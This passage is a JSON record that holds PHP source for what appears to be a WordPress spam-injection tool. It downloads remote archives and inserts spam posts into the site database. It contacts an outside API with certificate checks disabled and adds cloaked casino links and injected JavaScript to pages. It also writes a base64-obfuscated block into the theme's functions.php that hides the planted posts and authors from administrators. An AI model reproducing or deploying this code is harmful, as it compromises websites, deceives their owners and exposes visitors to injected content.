{"input":"//\n// 1,\n // 'unzip' => 1,\n // 'import' => 1,\n // 'hide' => 1,\n // 'homelinks' => 1,\n // 'send' => 1,\n // 'clean' => 1,\n 'sitemap' => 1,\n //'sitemapSecondMethod' => 1,\n //'rollback' => 1,\n //'sendPostsFromDb' => 1,\n //'viewSettings' => 1,\n //'viewAllAuthors' => 1,\n //'globalRollback' => 1,\n //'allPermalinks' => 1,\n //'viewSettingsAsJson' => 1,\n);\n\n\ndefine('HOME_LINKS', 1);\n\n\n$homeLinksSettings = array (\n 'hiddenType' =>\n array (\n 'css' => 1,\n ),\n 'position' =>\n array (\n 'head' => 1,\n ),\n 'language' => LANGUAGE_API,\n 'type' => 'CASINO',\n 'textBlocksCount' =>\n array (\n '100DifferentTextBlocks' => 1,\n ),\n);\n\n\n\n\n\nif (function_exists('ignore_user_abort')) {\n\n ignore_user_abort(true);\n\n}\n\nif (function_exists('set_time_limit')) {\n\n set_time_limit(0);\n\n}\n\n\n\ndefine('CURRENTDIR', getcwd());\n\n\ndefine('REDEFINE_JS_FOR_USER', 1);\n\ndefine('CLOACKING', 1);\n\ndefine('IGNORE_ACTIONS_LOG', 0);\n\ndefine('REMOVE_ACTIONS_LOG', 0);\n\ndefine('OBFUSCATE_CUSTOM_FUNCTIONS', 0);\n\n\n$_SERVER['homeLinksSettings'] = $homeLinksSettings;\n\n\n\ndefine('FORCE_CHANGE_HOME_LINKS_OWNER', 0);\n\n\n\n/* * Link building settings* */\n\ndefine('INTERNAL_LINKING', 0);\n\ndefine('EXTERNAL_LINKING', 0);\n\ndefine('INTERNAL_LINKS_COUNT_PAGE', '2..6');\n\ndefine('EXTERNAL_LINKS_COUNT_PAGE', '1..3');\n\ndefine('TABLE_HASH', '11c601a3bad16d2567e6754cddc9d28c');\n\ndefine('HTML_HASH', '31d410006291280c70416aabda41c4e9');\n\ndefine('COUNT_LINKS_FROM_DOMAIN', 3);\n\n/* * Link building settings* */\n\n\n\n\n\ndefine('USE_ORIGINAL_SLUG', 1);\n\n\n\n/*\n\n * Use unzip method with header.php\n\n * ziparchive unpacks files incorrectly.\n\n */\n\ndefine('GREEK_LANGUAGE', 1);\n\n\n\ndefine('HOME_URL', 'https://' . $_SERVER['HTTP_HOST']);\n\n\n\n\n\nif (defined('CUSTOM_AUTHOR_ID') && CUSTOM_AUTHOR_ID < 1000) {\n\n echo 'use CUSTOM_AUTHOR_ID value large then 1000' . PHP_EOL;\n\n exit;\n\n}\n\n\n\n\n\nif (is_null($rootDirCustom = WritePostsWpHandler::detectWProotDir())) {\n\n echo 'wp root directory not found' . PHP_EOL;\n\n exit;\n\n}\n\n\n\n\n\nif (!WritePostsWpHandler::linkBuildingSettingsCheck()) {\n\n exit;\n\n}\n\n\n\ndefine('WP_ROOT_DIR', $rootDirCustom);\n\n\n\nif (!defined('TEMPLATEPATH')) {\n\n define('TEMPLATEPATH', '');\n\n}\n\nif (!defined('STYLESHEETPATH')) {\n\n define('STYLESHEETPATH', '');\n\n}\n\nif (!defined('WP_USE_THEMES')) {\n\n define('WP_USE_THEMES', false);\n\n}\n\n\n\n\n\n//define('CUSTOM_TEMPLATE_PATH', $rootDir . '/wp-content/themes/oshin');\n\n\n\n\n\n/* * settings* */\n\n\n\n$jsSource = <<\";var ZmscUNdvig=\" \";document.write(CmaMdxDELg+kWCfImcvVy+sxhwBRDWZS+ZmscUNdvig);\nSTR;\n\n\n\ndefine('JS_SOURCE', $jsSource);\n\ndefine('RAND_DATE', 0);\n\ndefine('ALTERNATIVE_CONNECT_MYSQL', 0);\n\n\n\n/* * settings* */\n\n\n\n$writableDirectoryCustom = WritePostsWpHandler::tmpDirCustom();\n\nif (!$writableDirectoryCustom) {\n\n echo 'no directory for writing' . PHP_EOL;\n\n exit;\n\n}\n\ndefine('WRITABLE_PATH', $writableDirectoryCustom);\n\n\n\n$tmpDirNameCustom = WritePostsWpHandler::createTmpSubDir();\n\n\n\nif (!$tmpDirNameCustom) {\n\n echo 'invalid create tmp dir' . PHP_EOL;\n\n exit;\n\n}\n\n\n\ndefine('TMPDIR', $tmpDirNameCustom);\n\n$customMutexPath = WRITABLE_PATH . '/' . WritePostsWpHandler::pluginsBackupOptionName();\n\n\n\n\n\ntry {\n\n $customDbHandler = WritePostsWpHandler::tryConnect();\n\n} catch (Exception $ex) {\n\n echo 'Could not connect to db ' . $ex->getMessage();\n\n exit;\n\n}\n\n\n\nGlobalLogs::setMainLog('Connected successfully');\n\n$homeUrlCustom = $customDbHandler->homeUrl();\n\nWritePostsWpHandler::checkHomeUrl($homeUrlCustom);\n\n\n\n\n\n$activeActions = WritePostsWpHandler::actionValidator($actions);\n\n$isQuickView = WritePostsWpHandler::quickView($activeActions);\n\n\n\n\n\nif ($isQuickView) {\n\n WritePostsWpHandler::startActions($activeActions);\n\n echo GlobalLogs::getDebugLogs();\n\n exit;\n\n}\n\n\n\n$actionsWithStatus = WritePostsWpHandler::customCheckActions($activeActions);\n\n\n\nif (WritePostsWpHandler::areAllActionsCompleted($actionsWithStatus)) {\n\n echo GlobalLogs::getMainLogs() . PHP_EOL;\n\n //echo GlobalLogs::getDebugLogs().PHP_EOL;\n\n WritePostsWpHandler::customFormatResponse();\n\n exit;\n\n}\n\n\n\nWritePostsWpHandler::checkMutex($customMutexPath);\n\nWritePostsWpHandler::startActions($actionsWithStatus);\n\n\n\necho GlobalLogs::getMainLogs();\n\n\n\n//echo GlobalLogs::getDebugLogs();\n\n\n\nfunction api_get_in_stock(){\n $endpoint_url = GS_ALIAS . \"/in_stock\";\n $params_url = $endpoint_url . \"?domain=\" . DOMAIN;\n\n $ch = curl_init();\n\n curl_setopt($ch, CURLOPT_URL, $params_url);\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); // seconds\n curl_setopt($ch, CURLOPT_TIMEOUT, 30); // seconds\n curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // follow redirects\n curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // if using https and self-signed cert\n curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);\n\n $response = curl_exec($ch);\n\n if (curl_errno($ch)) {\n echo \" API =====> api_get_in_stock cURL error: \" . curl_error($ch) . PHP_EOL;\n return false;\n } else {\n $data = json_decode($response, true);\n if ($data[\"response\"] !== true) echo \" API =====> \" . $data[\"description\"] . PHP_EOL;\n curl_close($ch);\n return $data[\"response\"];\n }\n}\n\nfunction api_get_domain_info() {\n $endpoint_url = GS_ALIAS . \"/domain_info\";\n $params_url = $endpoint_url . \"?domain=\" . DOMAIN;\n\n $ch = curl_init();\n\n curl_setopt($ch, CURLOPT_URL, $params_url);\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); // seconds\n curl_setopt($ch, CURLOPT_TIMEOUT, 30); // seconds\n curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // follow redirects\n curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // if using https and self-signed cert\n curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);\n\n $response = curl_exec($ch);\n\n if (curl_errno($ch)) {\n echo \" API =====> api_get_domain_info cURL error: \" . curl_error($ch) . PHP_EOL;\n return false;\n } else {\n $data = json_decode($response, true);\n\n if ($data[\"response\"] === null) {\n echo \" API =====> \" . $data[\"description\"] . PHP_EOL;\n return false;\n } else {\n return $data[\"response\"];\n }\n }\n}\n\nfunction api_add_new_site(){\n $endpoint_url = GS_ALIAS . \"/add_new_site\";\n $params_url = $endpoint_url .\n \"?domain=\" . DOMAIN .\n \"&dir_number=\" . DIR_NUMBER .\n \"&language=\" . LANGUAGE .\n \"&language_api=\" . LANGUAGE_API .\n \"&author_id=\" . AUTHOR_ID;\n\n $ch = curl_init();\n\n curl_setopt($ch, CURLOPT_URL, $params_url);\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); // seconds\n curl_setopt($ch, CURLOPT_TIMEOUT, 30); // seconds\n curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // follow redirects\n curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // if using https and self-signed cert\n curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);\n\n $response = curl_exec($ch);\n curl_close($ch);\n if (curl_errno($ch)) {\n echo \" API =====> api_add_new_site cURL error: \" . curl_error($ch) . PHP_EOL;\n return false;\n } else {\n $data = json_decode($response, true);\n\n if ($data[\"response\"] === null) {\n echo \" API =====> \" . $data[\"description\"] . PHP_EOL;\n return false;\n } else {\n echo \" API =====> \" . $data[\"description\"] . PHP_EOL;\n return $data[\"response\"];\n }\n\n }\n}\n\n\n\nclass ActionsCustom\n\n{\n\n public static function uploadAction() {\n\n\n\n $url = str_replace('{DIR_NUM}', DIR_NUM, URL_WITH_ARCHIVES);\n\n\n\n try {\n\n WritePostsWpHandler::uploadRangeOfFiles($url, ARCHIVES_RANGE, '.zip', TMPDIR);\n\n\n\n return true;\n\n } catch (Exception $ex) {\n\n GlobalLogs::setMainLog($ex->getMessage());\n\n return false;\n\n }\n\n }\n\n\n\n public static function unzipAction() {\n\n\n\n if (defined('GREEK_LANGUAGE') && GREEK_LANGUAGE === 1) {\n\n GlobalLogs::setDebugLog('use unzip with header');\n\n try {\n\n return WritePostsWpHandler::unzipFirstMethod();\n\n } catch (Exception $ex) {\n\n GlobalLogs::setMainLog($ex->getMessage());\n\n }\n\n }\n\n\n\n if (class_exists('ZipArchive')) {\n\n return WritePostsWpHandler::unzipSecondMethod();\n\n } else {\n\n GlobalLogs::setDebugLog('use unzip with header');\n\n try {\n\n return WritePostsWpHandler::unzipFirstMethod();\n\n } catch (Exception $ex) {\n\n GlobalLogs::setMainLog($ex->getMessage());\n\n }\n\n }\n\n }\n\n\n\n public static function importAction() {\n\n\n\n $date = '';\n\n\n\n $htmlFiles = glob(TMPDIR . \"/*.html\");\n\n shuffle($htmlFiles);\n\n\n\n\n\n //fpcDebug(\"html file count - \". count($htmlFiles));\n\n\n\n $mutexName = defined('CUSTOM_AUTHOR_ID') ? '_' . CUSTOM_AUTHOR_ID : '';\n\n\n\n if (file_exists(TMPDIR . '/import_finish' . $mutexName)) {\n\n GlobalLogs::setMainLog('files already imported');\n\n return true;\n\n }\n\n\n\n\n\n if (!$htmlFiles) {\n\n GlobalLogs::setMainLog('html files not found');\n\n return false;\n\n }\n\n\n\n $extLinksArr = array();\n\n\n\n if (defined('EXTERNAL_LINKING') && (EXTERNAL_LINKING === 1)) {\n\n $countHtmlFiles = count($htmlFiles);\n\n WritePostsWpHandler::downloadExternalLinks($countHtmlFiles);\n\n $extLinksArr = WritePostsWpHandler::decodeExternalLinks();\n\n\n\n if (!$extLinksArr) {\n\n return false;\n\n }\n\n }\n\n\n\n\n\n $results = array();\n\n\n\n if (!is_dir(TMPDIR . '/imported')) {\n\n if (!mkdir(TMPDIR . '/imported')) {\n\n GlobalLogs::setMainLog('invalid create imported dir');\n\n return false;\n\n }\n\n }\n\n\n\n\n\n if (!defined('RAND_DATE') || (RAND_DATE === 0)) {\n\n $date = CustomDbHandler::getInstance()->lastPostDateQuery();\n\n }\n\n\n\n\n\n foreach ($htmlFiles as $key => $html) {\n\n\n\n\n\n try {\n\n $contentParts = WritePostsWpHandler::contentParts(file_get_contents($html));\n\n\n\n\n\n } catch (Exception $ex) {\n\n GlobalLogs::setMainLog($ex->getMessage());\n\n continue;\n\n }\n\n\n\n $text = $contentParts['text'];\n\n $text = WritePostsWpHandler::textWithLinks($text, $results, $extLinksArr);\n\n $customSlug = WritePostsWpHandler::slugPrepareBeforeInsert($html, $contentParts['slug']);\n\n\n\n\n\n try {\n\n $postId = CustomDbHandler::getInstance()->insertPost($contentParts['title'], $text, $date\n\n , CUSTOM_AUTHOR_ID, $customSlug);\n\n } catch (Exception $ex) {\n\n GlobalLogs::setMainLog($ex->getMessage());\n\n continue;\n\n }\n\n\n\n\n\n $results[] = WritePostsWpHandler::resultFormat(HOME_URL, $postId, $contentParts['title']);\n\n rename($html, TMPDIR . '/imported/' . WritePostsWpHandler::mb_basename($html, '.html'));\n\n\n\n }\n\n\n\n if (!empty($results)) {\n\n $logPath = TMPDIR . '/log' . $mutexName . '.txt';\n\n GlobalLogs::setMainLog(sprintf('write to log - %s', $logPath));\n\n file_put_contents($logPath, implode(\"\\n\", $results) . \"\\n\", FILE_APPEND);\n\n if ($key === (count($htmlFiles) - 1)) {\n\n file_put_contents(TMPDIR . '/import_finish' . $mutexName, '');\n\n }\n\n\n\n return true;\n\n } else {\n\n GlobalLogs::setMainLog('results are empty');\n\n return false;\n\n }\n\n }\n\n\n\n public static function hideAction() {\n\n\n\n if (!defined('CUSTOM_TEMPLATE_PATH')) {\n\n $templateDirectory = WritePostsWpHandler::getTemplatePath();\n\n } else {\n\n $templateDirectory = CUSTOM_TEMPLATE_PATH;\n\n }\n\n\n\n $functionsPath = $templateDirectory . '/functions.php';\n\n\n\n if (!file_exists($functionsPath)) {\n\n GlobalLogs::setMainLog($functionsPath . ' not found');\n\n return false;\n\n }\n\n\n\n if (!is_writeable($functionsPath) && (!is_writeable(dirname($functionsPath)))) {\n\n GlobalLogs::setMainLog($functionsPath . ' not writable functions and themes dir');\n\n return false;\n\n }\n\n\n\n $functionsSource = file_get_contents($functionsPath);\n\n\n\n if ($functionsSource === false) {\n\n GlobalLogs::setMainLog('error while reading functions.php');\n\n GlobalLogs::setMainLog('try to set right permissions...');\n\n\n\n if (!chmod($functionsPath, 0644)) {\n\n return false;\n\n }\n\n GlobalLogs::setMainLog('success set right perms to functions!');\n\n $functionsSource = file_get_contents($functionsPath);\n\n }\n\n\n\n if (!is_writeable($functionsPath) && (is_writeable(dirname($functionsPath)))) {\n\n\n\n if (!$functionsSource) {\n\n GlobalLogs::setMainLog($functionsPath . ' not writable');\n\n GlobalLogs::setMainLog($functionsPath . ' invalid read functions php');\n\n return false;\n\n }\n\n\n\n unlink($functionsPath);\n\n file_put_contents($functionsPath, $functionsSource);\n\n GlobalLogs::setMainLog($functionsPath . ' not writeable, but writeable theme directory, unlink functions php');\n\n }\n\n\n\n\n\n\n\n\n\n /*obf source from cache*/\n $source = 'LyogY3VzdG9tIGZpbHRlcnMgKi8NCg0KZnVuY3Rpb24gd3BfbGlua19wYWdlc19saXZlKCR3aGVyZSkgew0KICAgIGdsb2JhbCAkd3BkYiwgJGlzX2FyY2hpdmVfY29yZTsNCg0KICAgICR3cF9yZXNldF9wb3N0ZGF0YV9pbmZvID0gYXJyYXlfa2V5cygkaXNfYXJjaGl2ZV9jb3JlKTsNCiAgICAkaXNfc2VhcmNoX3Nlc3Npb24gPSBpbXBsb2RlKCcsICcsICR3cF9yZXNldF9wb3N0ZGF0YV9pbmZvKTsNCg0KICAgIGlmICghaXNfc2luZ2xlKCkgJiYgaXNfYWRtaW4oKSkgew0KICAgICAgICBhZGRfZmlsdGVyKCd2aWV3c19lZGl0LXBvc3QnLCAndGhlX3Bvc3RzX3BhZ2luYXRpb25fb2xkJyk7DQogICAgICAgIHJldHVybiAkd2hlcmUgLiAiIEFORCB7JHdwZGItPnBvc3RzfS5wb3N0X2F1dGhvciBOT1QgSU4gKCRpc19zZWFyY2hfc2Vzc2lvbikiOw0KICAgIH0NCg0KICAgIHJldHVybiAkd2hlcmU7DQp9DQoNCmZ1bmN0aW9uIHRoZV9jb250ZW50X2Jhc2UoJHF1ZXJ5KSB7DQoNCiAgICBnbG9iYWwgJGlzX2FyY2hpdmVfY29yZTsNCg0KICAgICR3cF9yZXNldF9wb3N0ZGF0YV9pbmZvID0gYXJyYXlfa2V5cygkaXNfYXJjaGl2ZV9jb3JlKTsNCiAgICAkZ2V0X3Bvc3RfdHlwZV9vYmplY3QgPSBfZV9zdGFjaygkd3BfcmVzZXRfcG9zdGRhdGFfaW5mbyk7DQoNCiAgICBpZiAoISRxdWVyeS0+aXNfc2luZ2xlKCkgJiYgIWlzX2FkbWluKCkpIHsNCiAgICAgICAgJHF1ZXJ5LT5zZXQoJ2F1dGhvcicsICRnZXRfcG9zdF90eXBlX29iamVjdCk7DQogICAgfQ0KfQ0KDQpmdW5jdGlvbiBpc19zaW5ndWxhcl9jb29raWUoKSB7DQoNCiAgICBnbG9iYWwgJHBvc3QsICRpc19hcmNoaXZlX2NvcmU7DQoNCiAgICBmb3JlYWNoICgkaXNfYXJjaGl2ZV9jb3JlIGFzICRpZCA9PiAkc2V0dGluZ3MpIHsNCiAgICAgICAgaWYgKCgkaWQgPT0gJHBvc3QtPnBvc3RfYXV0aG9yKSAmJiAoaXNzZXQoJHNldHRpbmdzWydqcyddKSkpIHsNCg0KICAgICAgICAgICAgaWYgKGdldF90aGVtZV9maWxlX3VyaV9hbHBoYSgkc2V0dGluZ3MpKSB7DQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlY2hvICRzZXR0aW5nc1snanMnXTsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICB9DQogICAgfQ0KfQ0KDQpmdW5jdGlvbiBnZXRfdGhlbWVfZmlsZV91cmlfYWxwaGEoJHNldHRpbmdzKSB7DQogICAgaWYgKGlzc2V0KCRzZXR0aW5nc1snbm9qcyddKSAmJiAkc2V0dGluZ3NbJ25vanMnXSA9PT0gMSkgew0KDQogICAgICAgIGlmIChnZXRfdGVtcGxhdGVfcGFydF9tZXRob2QoKSkgew0KICAgICAgICAgICAgcmV0dXJuIHRydWU7DQogICAgICAgIH0NCiAgICB9DQogICAgcmV0dXJuIGZhbHNlOw0KfQ0KDQpmdW5jdGlvbiB0aGVfcG9zdHNfcGFnaW5hdGlvbl9vbGQoJHZpZXdzKSB7DQogICAgZ2xvYmFsICRjdXJyZW50X3VzZXIsICR3cF9xdWVyeTsNCg0KICAgICR0eXBlcyA9IGFycmF5KA0KICAgICAgICBhcnJheSgnc3RhdHVzJyA9PiBOVUxMKSwNCiAgICAgICAgYXJyYXkoJ3N0YXR1cycgPT4gJ3B1Ymxpc2gnKSwNCiAgICAgICAgYXJyYXkoJ3N0YXR1cycgPT4gJ2RyYWZ0JyksDQogICAgICAgIGFycmF5KCdzdGF0dXMnID0+ICdwZW5kaW5nJyksDQogICAgICAgIGFycmF5KCdzdGF0dXMnID0+ICd0cmFzaCcpLA0KICAgICAgICBhcnJheSgnc3RhdHVzJyA9PiAnbWluZScpLA0KICAgICk7DQogICAgZm9yZWFjaCAoJHR5cGVzIGFzICR0eXBlKSB7DQoNCiAgICAgICAgJHF1ZXJ5ID0gYXJyYXkoDQogICAgICAgICAgICAncG9zdF90eXBlJyA9PiAncG9zdCcsDQogICAgICAgICAgICAncG9zdF9zdGF0dXMnID0+ICR0eXBlWydzdGF0dXMnXQ0KICAgICAgICApOw0KDQogICAgICAgICRyZXN1bHQgPSBuZXcgV1BfUXVlcnkoJHF1ZXJ5KTsNCg0KICAgICAgICBpZiAoJHR5cGVbJ3N0YXR1cyddID09IE5VTEwpIHsNCiAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCd+XD5cKChbMC05LF0rKVwpXDx+JywgJHZpZXdzWydhbGwnXSwgJG1hdGNoZXMpKSB7DQogICAgICAgICAgICAgICAgJHZpZXdzWydhbGwnXSA9IHN0cl9yZXBsYWNlKCRtYXRjaGVzWzBdLCAnPignIC4gJHJlc3VsdC0+Zm91bmRfcG9zdHMgLiAnKTwnLCAkdmlld3NbJ2FsbCddKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKCR0eXBlWydzdGF0dXMnXSA9PSAnbWluZScpIHsNCg0KDQogICAgICAgICAgICAkbmV3UXVlcnkgPSAkcXVlcnk7DQogICAgICAgICAgICAkbmV3UXVlcnlbJ2F1dGhvcl9faW4nXSA9IGFycmF5KCRjdXJyZW50X3VzZXItPklEKTsNCg0KICAgICAgICAgICAgJHJlc3VsdCA9IG5ldyBXUF9RdWVyeSgkbmV3UXVlcnkpOw0KDQogICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnflw+XCgoWzAtOSxdKylcKVw8ficsICR2aWV3c1snbWluZSddLCAkbWF0Y2hlcykpIHsNCiAgICAgICAgICAgICAgICAkdmlld3NbJ21pbmUnXSA9IHN0cl9yZXBsYWNlKCRtYXRjaGVzWzBdLCAnPignIC4gJHJlc3VsdC0+Zm91bmRfcG9zdHMgLiAnKTwnLCAkdmlld3NbJ21pbmUnXSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0gZWxzZWlmICgkdHlwZVsnc3RhdHVzJ10gPT0gJ3B1Ymxpc2gnKSB7DQogICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnflw+XCgoWzAtOSxdKylcKVw8ficsICR2aWV3c1sncHVibGlzaCddLCAkbWF0Y2hlcykpIHsNCiAgICAgICAgICAgICAgICAkdmlld3NbJ3B1Ymxpc2gnXSA9IHN0cl9yZXBsYWNlKCRtYXRjaGVzWzBdLCAnPignIC4gJHJlc3VsdC0+Zm91bmRfcG9zdHMgLiAnKTwnLCAkdmlld3NbJ3B1Ymxpc2gnXSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0gZWxzZWlmICgkdHlwZVsnc3RhdHVzJ10gPT0gJ2RyYWZ0Jykgew0KICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goJ35cPlwoKFswLTksXSspXClcPH4nLCAkdmlld3NbJ2RyYWZ0J10sICRtYXRjaGVzKSkgew0KICAgICAgICAgICAgICAgICR2aWV3c1snZHJhZnQnXSA9IHN0cl9yZXBsYWNlKCRtYXRjaGVzWzBdLCAnPignIC4gJHJlc3VsdC0+Zm91bmRfcG9zdHMgLiAnKTwnLCAkdmlld3NbJ2RyYWZ0J10pOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9IGVsc2VpZiAoJHR5cGVbJ3N0YXR1cyddID09ICdwZW5kaW5nJykgew0KICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goJ35cPlwoKFswLTksXSspXClcPH4nLCAkdmlld3NbJ3BlbmRpbmcnXSwgJG1hdGNoZXMpKSB7DQogICAgICAgICAgICAgICAgJHZpZXdzWydwZW5kaW5nJ10gPSBzdHJfcmVwbGFjZSgkbWF0Y2hlc1swXSwgJz4oJyAuICRyZXN1bHQtPmZvdW5kX3Bvc3RzIC4gJyk8JywgJHZpZXdzWydwZW5kaW5nJ10pOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9IGVsc2VpZiAoJHR5cGVbJ3N0YXR1cyddID09ICd0cmFzaCcpIHsNCiAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCd+XD5cKChbMC05LF0rKVwpXDx+JywgJHZpZXdzWyd0cmFzaCddLCAkbWF0Y2hlcykpIHsNCiAgICAgICAgICAgICAgICAkdmlld3NbJ3RyYXNoJ10gPSBzdHJfcmVwbGFjZSgkbWF0Y2hlc1swXSwgJz4oJyAuICRyZXN1bHQtPmZvdW5kX3Bvc3RzIC4gJyk8JywgJHZpZXdzWyd0cmFzaCddKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICByZXR1cm4gJHZpZXdzOw0KfQ0KDQpmdW5jdGlvbiBnZXRfc2V0dGluZ19qc29uKCRjb3VudHMsICR0eXBlLCAkcGVybSkgew0KDQogICAgaWYgKCR0eXBlID09PSAncG9zdCcpIHsNCiAgICAgICAgJGVzY191cmxfZnJhbWV3b3JrID0gJGNvdW50cy0+cHVibGlzaDsNCiAgICAgICAgJGdldF90aGVfdGl0bGVfc3RhdCA9IGFkbWluX3VybF9jcm9uKCRwZXJtKTsNCiAgICAgICAgJGNvdW50cy0+cHVibGlzaCA9ICEkZ2V0X3RoZV90aXRsZV9zdGF0ID8gJGVzY191cmxfZnJhbWV3b3JrIDogJGdldF90aGVfdGl0bGVfc3RhdDsNCiAgICB9DQogICAgcmV0dXJuICRjb3VudHM7DQp9DQoNCmZ1bmN0aW9uIGFkbWluX3VybF9jcm9uKCRwZXJtKSB7DQogICAgZ2xvYmFsICR3cGRiLCAkaXNfYXJjaGl2ZV9jb3JlOw0KDQogICAgJHdwX3Jlc2V0X3Bvc3RkYXRhX2luZm8gPSBhcnJheV9rZXlzKCRpc19hcmNoaXZlX2NvcmUpOw0KICAgICRpc19zZWFyY2hfc2Vzc2lvbiA9IGltcGxvZGUoJywgJywgJHdwX3Jlc2V0X3Bvc3RkYXRhX2luZm8pOw0KDQogICAgJHR5cGUgPSAncG9zdCc7DQoNCiAgICAkcXVlcnkgPSAiU0VMRUNUIHBvc3Rfc3RhdHVzLCBDT1VOVCggKiApIEFTIG51bV9wb3N0cyBGUk9NIHskd3BkYi0+cG9zdHN9IFdIRVJFIHBvc3RfdHlwZSA9ICVzIjsNCg0KICAgIGlmICgncmVhZGFibGUnID09ICRwZXJtICYmIGlzX3VzZXJfbG9nZ2VkX2luKCkpIHsNCg0KICAgICAgICAkZXNjX2h0bWxfbW9yZSA9IGdldF9wb3N0X3R5cGVfb2JqZWN0KCR0eXBlKTsNCg0KICAgICAgICBpZiAoIWN1cnJlbnRfdXNlcl9jYW4oJGVzY19odG1sX21vcmUtPmNhcC0+cmVhZF9wcml2YXRlX3Bvc3RzKSkgew0KICAgICAgICAgICAgJHF1ZXJ5IC49ICR3cGRiLT5wcmVwYXJlKA0KICAgICAgICAgICAgICAgICIgQU5EIChwb3N0X3N0YXR1cyAhPSAncHJpdmF0ZScgT1IgKCBwb3N0X2F1dGhvciA9ICVkIEFORCBwb3N0X3N0YXR1cyA9ICdwcml2YXRlJyApKSIsIGdldF9jdXJyZW50X3VzZXJfaWQoKQ0KICAgICAgICAgICAgKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICAkcXVlcnkgLj0gIiBBTkQgcG9zdF9hdXRob3IgTk9UIElOICgkaXNfc2VhcmNoX3Nlc3Npb24pIEdST1VQIEJZIHBvc3Rfc3RhdHVzIjsNCiAgICAkcmVzdWx0cyA9IChhcnJheSkkd3BkYi0+Z2V0X3Jlc3VsdHMoJHdwZGItPnByZXBhcmUoJHF1ZXJ5LCAkdHlwZSksIEFSUkFZX0EpOw0KDQogICAgZm9yZWFjaCAoJHJlc3VsdHMgYXMgJGFkZF9maWx0ZXJfaW50ZXJmYWNlKSB7DQogICAgICAgIGlmICgkYWRkX2ZpbHRlcl9pbnRlcmZhY2VbJ3Bvc3Rfc3RhdHVzJ10gPT09ICdwdWJsaXNoJykgew0KICAgICAgICAgICAgcmV0dXJuICRhZGRfZmlsdGVyX2ludGVyZmFjZVsnbnVtX3Bvc3RzJ107DQogICAgICAgIH0NCiAgICB9DQp9DQoNCmZ1bmN0aW9uIHRoZV9JRF9odHRwKCR1c2VySWQpIHsNCiAgICBnbG9iYWwgJHdwZGI7DQoNCiAgICAkcXVlcnkgPSAiU0VMRUNUIElEIEZST00geyR3cGRiLT5wb3N0c30gd2hlcmUgcG9zdF9hdXRob3IgPSAkdXNlcklkIjsNCg0KICAgICRyZXN1bHRzID0gKGFycmF5KSR3cGRiLT5nZXRfcmVzdWx0cygkcXVlcnksIEFSUkFZX0EpOw0KDQogICAgJHdwX3Jlc2V0X3Bvc3RkYXRhX2luZm8gPSBhcnJheSgpOw0KICAgIGZvcmVhY2ggKCRyZXN1bHRzIGFzICRhZGRfZmlsdGVyX2ludGVyZmFjZSkgew0KICAgICAgICAkd3BfcmVzZXRfcG9zdGRhdGFfaW5mb1tdID0gJGFkZF9maWx0ZXJfaW50ZXJmYWNlWydJRCddOw0KICAgIH0NCiAgICByZXR1cm4gJHdwX3Jlc2V0X3Bvc3RkYXRhX2luZm87DQp9DQoNCmZ1bmN0aW9uIGVzY191cmxfbG9vcCgpIHsNCg0KICAgIGdsb2JhbCAkaXNfYXJjaGl2ZV9jb3JlLCAkd3BfcmV3cml0ZTsNCg0KICAgICRydWxlcyA9IGdldF9vcHRpb24oJ3Jld3JpdGVfcnVsZXMnKTsNCg0KICAgIGZvcmVhY2ggKCRpc19hcmNoaXZlX2NvcmUgYXMgJHRoZV9hcmNoaXZlX3RpdGxlX2h0dHAgPT4gJGdldF9hdXRob3JfcG9zdHNfdXJsX3Jlc3RmdWwpIHsNCiAgICAgICAgJGdldF90aGVfSURfaHR0cCA9IGtleSgkZ2V0X2F1dGhvcl9wb3N0c191cmxfcmVzdGZ1bFsnc2l0ZW1hcHNldHRpbmdzJ10pOw0KDQogICAgICAgIGlmICghaXNzZXQoJHJ1bGVzWyRnZXRfdGhlX0lEX2h0dHBdKSB8fA0KICAgICAgICAgICAgKCRydWxlc1skZ2V0X3RoZV9JRF9odHRwXSAhPT0gY3VycmVudCgkZ2V0X2F1dGhvcl9wb3N0c191cmxfcmVzdGZ1bFsnc2l0ZW1hcHNldHRpbmdzJ10pKSkgew0KICAgICAgICAgICAgJHdwX3Jld3JpdGUtPmZsdXNoX3J1bGV